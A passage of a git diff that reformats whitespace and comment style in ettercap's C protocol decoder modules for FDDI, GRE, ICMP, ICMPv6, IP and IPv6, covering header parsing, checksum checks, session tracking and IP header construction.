dha[FDDI_ADDR_LEN]; - u_int8 sha[FDDI_ADDR_LEN]; - u_int8 llc_dsap; - u_int8 llc_ssap; - u_int8 llc_control; - u_int8 llc_org_code[3]; +struct fddi_header { + u_int8 frame_control; + u_int8 dha[FDDI_ADDR_LEN]; + u_int8 sha[FDDI_ADDR_LEN]; + u_int8 llc_dsap; + u_int8 llc_ssap; + u_int8 llc_control; + u_int8 llc_org_code[3]; /* * ARGH ! org_core is 3 and it has disaligned the struct ! * we can rely in on the alignment of the buffer... @@ -42,7 +41,7 @@ struct fddi_header }; /* encapsulated ethernet */ -u_int8 FDDI_ORG_CODE[3] = {0x00, 0x00, 0x00}; +u_int8 FDDI_ORG_CODE[3] = { 0x00, 0x00, 0x00 }; /* protos */ @@ -65,16 +64,15 @@ void __init fddi_init(void) add_aligner(IL_TYPE_FDDI, align_fddi); } - FUNC_DECODER(decode_fddi) { FUNC_DECODER_PTR(next_decoder); struct fddi_header *fddi; DECODED_LEN = sizeof(struct fddi_header); - + fddi = (struct fddi_header *)DECODE_DATA; - + /* org_code != encapsulated ethernet not yet supported */ if (memcmp(fddi->llc_org_code, FDDI_ORG_CODE, 3)) NOT_IMPLEMENTED(); @@ -83,37 +81,37 @@ FUNC_DECODER(decode_fddi) PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_FDDI; PACKET->L2.len = DECODED_LEN; - + memcpy(PACKET->L2.src, fddi->sha, FDDI_ADDR_LEN); memcpy(PACKET->L2.dst, fddi->dha, FDDI_ADDR_LEN); /* HOOK POINT : HOOK_PACKET_fddi */ hook_point(HOOK_PACKET_FDDI, po); - - /* leave the control to the next decoder */ + + /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(fddi->proto)); EXECUTE_DECODER(next_decoder); - + /* fddi header does not care about modification of upper layer */ - + return NULL; } /* - * function to create a token ring header + * function to create a token ring header */ FUNC_BUILDER(build_fddi) { return libnet_autobuild_fddi( - LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */ - dst, /* token ring destination */ - LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ - LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ - 0x03, /* Unnumbered info/frame */ - FDDI_ORG_CODE, /* Organization Code */ - proto, /* protocol type */ - l); /* libnet handle */ + LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */ + dst, /* token ring destination */ + LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ + LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ + 0x03, /* Unnumbered info/frame */ + FDDI_ORG_CODE, /* Organization Code */ + proto, /* protocol type */ + l); /* libnet handle */ } /* @@ -121,10 +119,9 @@ FUNC_BUILDER(build_fddi) */ FUNC_ALIGNER(align_fddi) { - return (24 - sizeof(struct fddi_header)); + return 24 - sizeof(struct fddi_header); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_gre.c b/src/protocols/ec_gre.c index ebcd60037..318cc66fc 100644 --- a/src/protocols/ec_gre.c +++ b/src/protocols/ec_gre.c @@ -1,23 +1,23 @@ /* - ettercap -- GRE decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GRE decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,9 +25,9 @@ /* globals */ -/* Flag mask - +/* Flag mask - * (taken from wireshark gre decoder - * by Brad Robel-Forrest) + * by Brad Robel-Forrest) */ #define GH_B_C 0x8000 #define GH_B_R 0x4000 @@ -35,12 +35,11 @@ #define GH_B_S 0x1000 #define GH_B_s 0x0800 #define GH_B_RECUR 0x0700 -#define GH_P_A 0x0080 -#define GH_P_FLAGS 0x0078 +#define GH_P_A 0x0080 +#define GH_P_FLAGS 0x0078 #define GH_R_FLAGS 0x00F8 #define GH_B_VER 0x0007 - /* protos */ FUNC_DECODER(decode_gre); @@ -58,19 +57,18 @@ void __init gre_init(void) add_decoder(PROTO_LAYER, NL_TYPE_GRE, decode_gre); } - FUNC_DECODER(decode_gre) { FUNC_DECODER_PTR(next_decoder); u_int16 flags; u_int16 proto; u_int16 *gre_len = NULL; - + DECODED_LEN = 4; - + flags = pntos(DECODE_DATA); proto = pntos(DECODE_DATA + sizeof(flags)); - + /* Parse the flags and see which fields are present */ if (flags & GH_B_C || flags & GH_B_R) DECODED_LEN += 4; @@ -89,31 +87,30 @@ FUNC_DECODER(decode_gre) DECODED_LEN += 4; if (flags & GH_P_A) DECODED_LEN += 4; - + /* HOOK POINT: HOOK_PACKET_GRE */ hook_point(HOOK_PACKET_GRE, PACKET); - + SESSION_CLEAR(PACKET); - + /* get the next decoder */ - next_decoder = get_decoder(NET_LAYER, proto); + next_decoder = get_decoder(NET_LAYER, proto); EXECUTE_DECODER(next_decoder); - + /* Adjust GRE payload len (if present) */ - if (!GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read && - (PACKET->flags & PO_MODIFIED) && (PACKET->flags & PO_FORWARDABLE)) { - /* XXX - Feature checksum re-calculation (if present) */ - /* XXX - Feature packet injection/dropping */ - - if (gre_len) + if (!GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read && + (PACKET->flags & PO_MODIFIED) && (PACKET->flags & PO_FORWARDABLE)) + { + /* XXX - Feature checksum re-calculation (if present) */ + /* XXX - Feature packet injection/dropping */ + + if (gre_len) ORDER_ADD_SHORT(*gre_len, PACKET->DATA.delta); } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_icmp.c b/src/protocols/ec_icmp.c index 56f61771a..6e2901432 100644 --- a/src/protocols/ec_icmp.c +++ b/src/protocols/ec_icmp.c @@ -1,23 +1,23 @@ /* - ettercap -- ICMP decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- ICMP decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,23 +26,22 @@ /* globals */ struct icmp_header { - u_int8 type; /* message type */ - u_int8 code; /* type sub-code */ - u_int16 csum; + u_int8 type; /* message type */ + u_int8 code; /* type sub-code */ + u_int16 csum; union { struct { - u_int16 id; - u_int16 sequence; + u_int16 id; + u_int16 sequence; } echo; /* echo datagram */ - u_int32 gateway; /* gateway address (for redirect) */ + u_int32 gateway; /* gateway address (for redirect) */ struct { - u_int16 unused; - u_int16 mtu; + u_int16 unused; + u_int16 mtu; } frag; /* path mtu discovery */ } un; }; - /* protos */ FUNC_DECODER(decode_icmp); @@ -60,7 +59,6 @@ void __init icmp_init(void) add_decoder(PROTO_LAYER, NL_TYPE_ICMP, decode_icmp); } - FUNC_DECODER(decode_icmp) { FUNC_DECODER_PTR(next_decoder); @@ -68,23 +66,23 @@ FUNC_DECODER(decode_icmp) u_int16 sum; icmp = (struct icmp_header *)DECODE_DATA; - + DECODED_LEN = sizeof(struct icmp_header); /* include the data in this level */ PACKET->L4.len = PACKET->L3.payload_len; - + /* fill the data */ PACKET->L4.header = (u_char *)DECODE_DATA; PACKET->L4.options = NULL; - + PACKET->L4.proto = NL_TYPE_ICMP; - + /* this is a lie... but we have to put this somewhere */ PACKET->L4.flags = icmp->type; - - /* - * if the checsum is wrong, don't parse it (avoid ettercap spotting) + + /* + * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum should be 0 ;) * * don't perform the check in unoffensive mode @@ -93,28 +91,28 @@ FUNC_DECODER(decode_icmp) if (!GBL_OPTIONS->unoffensive && (sum = L3_checksum(PACKET->L4.header, PACKET->L4.len)) != CSUM_RESULT) { char tmp[MAX_ASCII_ADDR_LEN]; if (GBL_CONF->checksum_warning) - USER_MSG("Invalid ICMP packet from %s : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(icmp->csum), checksum_shouldbe(icmp->csum, sum)); + USER_MSG("Invalid ICMP packet from %s : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(icmp->csum), checksum_shouldbe(icmp->csum, sum)); return NULL; } } - - /* - * if the host is sending strange + + /* + * if the host is sending strange * ICMP messages, it might be a router */ switch (icmp->type) { - case ICMP_DEST_UNREACH: - switch (icmp->code) { - case ICMP_NET_UNREACH: - case ICMP_HOST_UNREACH: - PACKET->PASSIVE.flags |= FP_ROUTER; - break; - } - case ICMP_REDIRECT: - case ICMP_TIME_EXCEEDED: + case ICMP_DEST_UNREACH: + switch (icmp->code) { + case ICMP_NET_UNREACH: + case ICMP_HOST_UNREACH: PACKET->PASSIVE.flags |= FP_ROUTER; break; + } + case ICMP_REDIRECT: + case ICMP_TIME_EXCEEDED: + PACKET->PASSIVE.flags |= FP_ROUTER; + break; } /* HOOK POINT: HOOK_PACKET_ICMP */ @@ -124,12 +122,9 @@ FUNC_DECODER(decode_icmp) next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); - - return NULL; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_icmp6.c b/src/protocols/ec_icmp6.c index 1296d3edc..f31c99438 100644 --- a/src/protocols/ec_icmp6.c +++ b/src/protocols/ec_icmp6.c @@ -1,9 +1,9 @@ /* - ettercap - ICMPv6 decoder module - - Copyright (C) the braindamaged entities collective - GPL blah-blah-blah -*/ + * ettercap - ICMPv6 decoder module + * + * Copyright (C) the braindamaged entities collective + * GPL blah-blah-blah + */ #include #include @@ -38,7 +38,7 @@ FUNC_DECODER(decode_icmp6) struct icmp6_hdr *icmp6; u_int16 csum; - icmp6 = (struct icmp6_hdr*)DECODE_DATA; + icmp6 = (struct icmp6_hdr *)DECODE_DATA; PACKET->L4.proto = NL_TYPE_ICMP6; /* since ICMPv6 header has no such field */ @@ -52,10 +52,10 @@ FUNC_DECODER(decode_icmp6) DECODED_LEN = sizeof(struct icmp6_hdr); - /* this sucked. Now it sucks less. */ - if(GBL_CONF->checksum_check && !GBL_OPTIONS->unoffensive) { - if((csum = L4_checksum(PACKET)) != CSUM_RESULT) { - if(GBL_CONF->checksum_warning) { + /* this sucked. Now it sucks less. */ + if (GBL_CONF->checksum_check && !GBL_OPTIONS->unoffensive) { + if ((csum = L4_checksum(PACKET)) != CSUM_RESULT) { + if (GBL_CONF->checksum_warning) { char tmp[MAX_ASCII_ADDR_LEN]; USER_MSG("Invalid ICMPv6 packet from %s : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(icmp6->csum), @@ -68,49 +68,48 @@ FUNC_DECODER(decode_icmp6) /* * trying to detect a router */ - switch(icmp6->type) { - case ICMP6_ROUTER_ADV: - case ICMP6_PKT_TOO_BIG: + switch (icmp6->type) { + case ICMP6_ROUTER_ADV: + case ICMP6_PKT_TOO_BIG: + PACKET->PASSIVE.flags |= FP_ROUTER; + break; + case ICMP6_NEIGH_ADV: + if ((*((u_int8 *)icmp6 + 4) & 0x80) == 0x80) { + /* Router flag set in neighbor advertisement */ PACKET->PASSIVE.flags |= FP_ROUTER; - break; - case ICMP6_NEIGH_ADV: - if ((*((u_int8*)icmp6 + 4) & 0x80) == 0x80) { - /* Router flag set in neighbor advertisement */ - PACKET->PASSIVE.flags |= FP_ROUTER; - PACKET->PASSIVE.flags |= FP_GATEWAY; - } - break; + PACKET->PASSIVE.flags |= FP_GATEWAY; + } + break; } hook_point(HOOK_PACKET_ICMP6, po); /* get the next decoder */ - next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); + next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); - - if(icmp6->type == ICMP6_NEIGH_SOL || icmp6->type == ICMP6_NEIGH_ADV) { - PACKET->L4.options = (u_char*)(icmp6) + 4; + + if (icmp6->type == ICMP6_NEIGH_SOL || icmp6->type == ICMP6_NEIGH_ADV) { + PACKET->L4.options = (u_char *)(icmp6) + 4; PACKET->L4.optlen = PACKET->L4.len - sizeof(struct icmp6_hdr) - 4; } /* * Here come the hooks */ - switch(icmp6->type) { - case ICMP6_NEIGH_SOL: - hook_point(HOOK_PACKET_ICMP6_NSOL, PACKET); - break; - case ICMP6_NEIGH_ADV: - hook_point(HOOK_PACKET_ICMP6_NADV, PACKET); - break; - case ICMP6_ECHOREPLY: - hook_point(HOOK_PACKET_ICMP6_RPLY, PACKET); - break; - case ICMP6_BAD_PARAM: - hook_point(HOOK_PACKET_ICMP6_PARM, PACKET); - break; + switch (icmp6->type) { + case ICMP6_NEIGH_SOL: + hook_point(HOOK_PACKET_ICMP6_NSOL, PACKET); + break; + case ICMP6_NEIGH_ADV: + hook_point(HOOK_PACKET_ICMP6_NADV, PACKET); + break; + case ICMP6_ECHOREPLY: + hook_point(HOOK_PACKET_ICMP6_RPLY, PACKET); + break; + case ICMP6_BAD_PARAM: + hook_point(HOOK_PACKET_ICMP6_PARM, PACKET); + break; } return NULL; } - diff --git a/src/protocols/ec_ip.c b/src/protocols/ec_ip.c index 18d8cf10c..bf180499e 100644 --- a/src/protocols/ec_ip.c +++ b/src/protocols/ec_ip.c @@ -1,23 +1,23 @@ /* - ettercap -- IP decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- IP decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,48 +27,46 @@ #include #include - /* globals */ struct ip_header { #ifndef WORDS_BIGENDIAN - u_int8 ihl:4; - u_int8 version:4; -#else - u_int8 version:4; - u_int8 ihl:4; + u_int8 ihl : 4; + u_int8 version : 4; +#else + u_int8 version : 4; + u_int8 ihl : 4; #endif - u_int8 tos; - u_int16 tot_len; - u_int16 id; - u_int16 frag_off; + u_int8 tos; + u_int16 tot_len; + u_int16 id; + u_int16 frag_off; #define IP_DF 0x4000 #define IP_MF 0x2000 #define IP_FRAG 0x1fff - u_int8 ttl; - u_int8 protocol; - u_int16 csum; - u_int32 saddr; - u_int32 daddr; + u_int8 ttl; + u_int8 protocol; + u_int16 csum; + u_int32 saddr; + u_int32 daddr; /*The options start here. */ }; /* Session data structure */ struct ip_status { - u_int16 last_id; - int16 id_adj; + u_int16 last_id; + int16 id_adj; }; /* Ident structure for ip sessions */ struct ip_ident { u_int32 magic; - #define IP_MAGIC 0x0300e77e +#define IP_MAGIC 0x0300e77e struct ip_addr L3_src; }; #define IP_IDENT_LEN sizeof(struct ip_ident) - /* protos */ FUNC_DECODER(decode_ip); @@ -77,8 +75,7 @@ FUNC_INJECTOR(stateless_ip); void ip_init(void); int ip_match(void *id_sess, void *id_curr); void ip_create_session(struct ec_session **s, struct packet_object *po); -size_t ip_create_ident(void **i, struct packet_object *po); - +size_t ip_create_ident(void **i, struct packet_object *po); /*******************************************/ @@ -96,7 +93,6 @@ void __init ip_init(void) add_injector(CHAIN_LINKED, STATELESS_IP_MAGIC, stateless_ip); } - FUNC_DECODER(decode_ip) { FUNC_DECODER_PTR(next_decoder); @@ -108,39 +104,38 @@ FUNC_DECODER(decode_ip) u_int16 sum; ip = (struct ip_header *)DECODE_DATA; - + DECODED_LEN = (u_int32)(ip->ihl * 4); - if (DECODED_LEN < 20) - { - // invalid header length - return NULL; + if (DECODED_LEN < 20) { + // invalid header length + return NULL; } /* IP addresses */ ip_addr_init(&PACKET->L3.src, AF_INET, (u_char *)&ip->saddr); ip_addr_init(&PACKET->L3.dst, AF_INET, (u_char *)&ip->daddr); - + /* this is needed at upper layer to calculate the tcp payload size */ /* check bogus size */ - t_len = (u_int32) ntohs(ip->tot_len); - if (t_len < (u_int32)DECODED_LEN || - (DECODE_DATA + t_len) > (PACKET->packet + PACKET->len) ) + t_len = (u_int32)ntohs(ip->tot_len); + if (t_len < (u_int32)DECODED_LEN || + (DECODE_DATA + t_len) > (PACKET->packet + PACKET->len)) return NULL; PACKET->L3.payload_len = t_len - DECODED_LEN; /* other relevant infos */ PACKET->L3.header = (u_char *)DECODE_DATA; PACKET->L3.len = DECODED_LEN; - + /* parse the options */ - if ( (u_int32)(ip->ihl * 4) > sizeof(struct ip_header)) { + if ((u_int32)(ip->ihl * 4) > sizeof(struct ip_header)) { PACKET->L3.options = (u_char *)(DECODE_DATA) + sizeof(struct ip_header); PACKET->L3.optlen = (u_int32)(ip->ihl * 4) - sizeof(struct ip_header); } else { PACKET->L3.options = NULL; PACKET->L3.optlen = 0; } - + PACKET->L3.proto = htons(LL_TYPE_IP); PACKET->L3.ttl = ip->ttl; @@ -155,16 +150,16 @@ FUNC_DECODER(decode_ip) /* set the pointer to the data to be forwarded at layer 3 */ PACKET->fwd_packet = (u_char *)DECODE_DATA; /* the len will be adjusted later...just in case of a brutal return */ - PACKET->fwd_len = t_len; + PACKET->fwd_len = t_len; } - + /* XXX - implement the handling of fragmented packet */ /* don't process fragmented packets */ - if (ntohs(ip->frag_off) & IP_FRAG || ntohs(ip->frag_off) & IP_MF) + if (ntohs(ip->frag_off) & IP_FRAG || ntohs(ip->frag_off) & IP_MF) return NULL; - - /* - * if the checsum is wrong, don't parse it (avoid ettercap spotting) + + /* + * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum should be 0 ;) * * don't perform the check in unoffensive mode @@ -172,17 +167,17 @@ FUNC_DECODER(decode_ip) if (GBL_CONF->checksum_check) { if (!GBL_OPTIONS->unoffensive && (sum = L3_checksum(PACKET->L3.header, PACKET->L3.len)) != CSUM_RESULT) { if (GBL_CONF->checksum_warning) - USER_MSG("Invalid IP packet from %s : csum [%#x] should be (%#x)\n", int_ntoa(ip->saddr), - ntohs(ip->csum), checksum_shouldbe(ip->csum, sum)); + USER_MSG("Invalid IP packet from %s : csum [%#x] should be (%#x)\n", int_ntoa(ip->saddr), + ntohs(ip->csum), checksum_shouldbe(ip->csum, sum)); return NULL; } } - + /* if it is a TCP packet, try to passive fingerprint it */ if (ip->protocol == NL_TYPE_TCP) { /* initialize passive fingerprint */ fingerprint_default(PACKET->PASSIVE.fingerprint); - + /* collect infos for passive fingerprint */ fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_TTL, ip->ttl); fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_DF, ntohs(ip->frag_off) & IP_DF); @@ -191,48 +186,48 @@ FUNC_DECODER(decode_ip) /* calculate if the dest is local or not */ switch (ip_addr_is_local(&PACKET->L3.src, NULL)) { - case E_SUCCESS: - PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); - PACKET->PASSIVE.flags |= FP_HOST_LOCAL; - break; - case -E_NOTFOUND: - PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; - PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; - break; - case -E_INVALID: - PACKET->PASSIVE.flags = FP_UNKNOWN; - break; + case E_SUCCESS: + PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); + PACKET->PASSIVE.flags |= FP_HOST_LOCAL; + break; + case -E_NOTFOUND: + PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; + PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; + break; + case -E_INVALID: + PACKET->PASSIVE.flags = FP_UNKNOWN; + break; } - + /* HOOK POINT: HOOK_PACKET_IP */ hook_point(HOOK_PACKET_IP, po); /* don't save the sessions in unoffensive mode */ if (GBL_FILTERS && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read) { - + /* Find or create the correct session */ ip_create_ident(&ident, PACKET); - + if (session_get(&s, ident, IP_IDENT_LEN) == -E_NOTFOUND) { ip_create_session(&s, PACKET); session_put(s); } SAFE_FREE(ident); - + SESSION_PASSTHRU(s, PACKET); - + /* Record last packet's ID */ status = (struct ip_status *)s->data; status->last_id = ntohs(ip->id); } - + /* Jump to next Layer */ next_decoder = get_decoder(PROTO_LAYER, ip->protocol); EXECUTE_DECODER(next_decoder); - + /* don't save the sessions in unoffensive mode */ if (GBL_FILTERS && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read && (PACKET->flags & PO_FORWARDABLE)) { - /* + /* * Modification checks and adjustments. * - ip->id according to number of injected/dropped packets * - ip->len according to upper layer's payload modification @@ -240,27 +235,27 @@ FUNC_DECODER(decode_ip) if (PACKET->flags & PO_DROPPED) status->id_adj--; else if ((PACKET->flags & PO_MODIFIED) || (status->id_adj != 0)) { - + /* se the correct id for this packet */ ORDER_ADD_SHORT(ip->id, status->id_adj); /* adjust the packet length */ ORDER_ADD_SHORT(ip->tot_len, PACKET->DATA.delta); - /* - * In case some upper level encapsulated + /* + * In case some upper level encapsulated * ip decoder modified it... (required for checksum) */ PACKET->L3.header = (u_char *)ip; PACKET->L3.len = (u_int32)(ip->ihl * 4); - + /* ...recalculate checksum */ - ip->csum = CSUM_INIT; + ip->csum = CSUM_INIT; ip->csum = L3_checksum(PACKET->L3.header, PACKET->L3.len); } } /* Last ip decoder in cascade will set the correct fwd_len */ PACKET->fwd_len = ntohs(ip->tot_len); - + return NULL; } @@ -272,26 +267,26 @@ FUNC_INJECTOR(inject_ip) struct ip_header *iph; size_t further_len, payload_len; u_int32 magic; - + /* Paranoid check */ if (LENGTH + sizeof(struct ip_header) > GBL_IFACE->mtu) return -E_NOTHANDLED; - /* Make space for ip header on packet stack... */ + /* Make space for ip header on packet stack... */ PACKET->packet -= sizeof(struct ip_header); - /* ..and fill it */ + /* ..and fill it */ iph = (struct ip_header *)PACKET->packet; - - iph->ihl = 5; - iph->version = 4; - iph->tos = 0; - iph->csum = CSUM_INIT; - iph->frag_off = 0; - iph->ttl = 64; - iph->protocol = PACKET->L4.proto; - iph->saddr = *PACKET->L3.src.addr32; - iph->daddr = *PACKET->L3.dst.addr32; + + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->csum = CSUM_INIT; + iph->frag_off = 0; + iph->ttl = 64; + iph->protocol = PACKET->L4.proto; + iph->saddr = *PACKET->L3.src.addr32; + iph->daddr = *PACKET->L3.dst.addr32; /* Take the session and fill remaining fields */ s = PACKET->session; @@ -299,27 +294,27 @@ FUNC_INJECTOR(inject_ip) iph->id = htons(status->last_id + status->id_adj + 1); /* Renew session timestamp (XXX it locks the sessions) */ - if (session_get(&s, s->ident, IP_IDENT_LEN) == -E_NOTFOUND) + if (session_get(&s, s->ident, IP_IDENT_LEN) == -E_NOTFOUND) return -E_NOTFOUND; - - /* Adjust headers length */ + + /* Adjust headers length */ LENGTH += sizeof(struct ip_header); - + /* Rember length of further headers */ further_len = LENGTH; - + if (s->prev_session != NULL) { /* Prepare data for next injector */ PACKET->session = s->prev_session; memcpy(&magic, s->prev_session->ident, 4); - + /* Go deeper into injectors chain */ EXECUTE_INJECTOR(CHAIN_LINKED, magic); } /* Update session */ - status->id_adj ++; - + status->id_adj++; + /* Guess payload_len that will be used by ENTRY injector */ payload_len = GBL_IFACE->mtu - LENGTH; if (payload_len > PACKET->DATA.inject_len) @@ -328,7 +323,7 @@ FUNC_INJECTOR(inject_ip) /* Set tot_len field as further header's len + payload */ PACKET->L3.len = further_len + payload_len; iph->tot_len = htons(PACKET->L3.len); - + /* Calculate checksum */ PACKET->L3.header = (u_char *)iph; iph->csum = L3_checksum(PACKET->L3.header, PACKET->L3.len); @@ -338,9 +333,9 @@ FUNC_INJECTOR(inject_ip) PACKET->fwd_packet = PACKET->packet; PACKET->fwd_len = PACKET->L3.len; } - - /* Injectors executed, no need to keep the session */ - session_del(s->ident, IP_IDENT_LEN); + + /* Injectors executed, no need to keep the session */ + session_del(s->ident, IP_IDENT_LEN); return E_SUCCESS; } @@ -358,7 +353,7 @@ FUNC_INJECTOR(stateless_ip) } PACKET->session = s; - + /* Execute IP injector */ EXECUTE_INJECTOR(CHAIN_LINKED, IP_MAGIC); @@ -370,21 +365,20 @@ FUNC_INJECTOR(stateless_ip) /* Sessions' stuff for ip packets */ - /* * create the ident for a session */ - + size_t ip_create_ident(void **i, struct packet_object *po) { struct ip_ident *ident; - + /* allocate the ident for that session */ SAFE_CALLOC(ident, 1, sizeof(struct ip_ident)); - + /* the magic */ ident->magic = IP_MAGIC; - + /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); @@ -395,7 +389,6 @@ size_t ip_create_ident(void **i, struct packet_object *po) return sizeof(struct ip_ident); } - /* * compare two session ident * @@ -410,16 +403,16 @@ int ip_match(void *id_sess, void *id_curr) /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); - - /* + + /* * is this ident from our level ? * check the magic ! */ if (ids->magic != id->magic) return 0; - + /* Check the source */ - if ( !ip_addr_cmp(&ids->L3_src, &id->L3_src) ) + if (!ip_addr_cmp(&ids->L3_src, &id->L3_src)) return 1; return 0; @@ -435,19 +428,19 @@ void ip_create_session(struct ec_session **s, struct packet_object *po) void *ident; DEBUG_MSG("ip_create_session"); - + /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); - + /* create the ident */ (*s)->ident_len = ip_create_ident(&ident, po); - + /* link to the session */ (*s)->ident = ident; /* the matching function */ (*s)->match = &ip_match; - + /* alloc of data element */ SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_status)); } @@ -455,4 +448,3 @@ void ip_create_session(struct ec_session **s, struct packet_object *po) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_ip6.c b/src/protocols/ec_ip6.c index 1358e371e..5637cd908 100644 --- a/src/protocols/ec_ip6.c +++ b/src/protocols/ec_ip6.c @@ -1,30 +1,30 @@ /* - ettercap -- IPv6 decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- IPv6 decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include #include #include -//#include +// #include #define IP6_HDR_LEN 40 @@ -32,26 +32,26 @@ struct ip6_header { #ifndef WORDS_BIGENDIAN - u_int8 version:4; - u_int8 priority:4; -#else - u_int8 priority:4; - u_int8 version:4; + u_int8 version : 4; + u_int8 priority : 4; +#else + u_int8 priority : 4; + u_int8 version : 4; #endif - u_int8 flow_lbl[3]; - u_int16 payload_len; 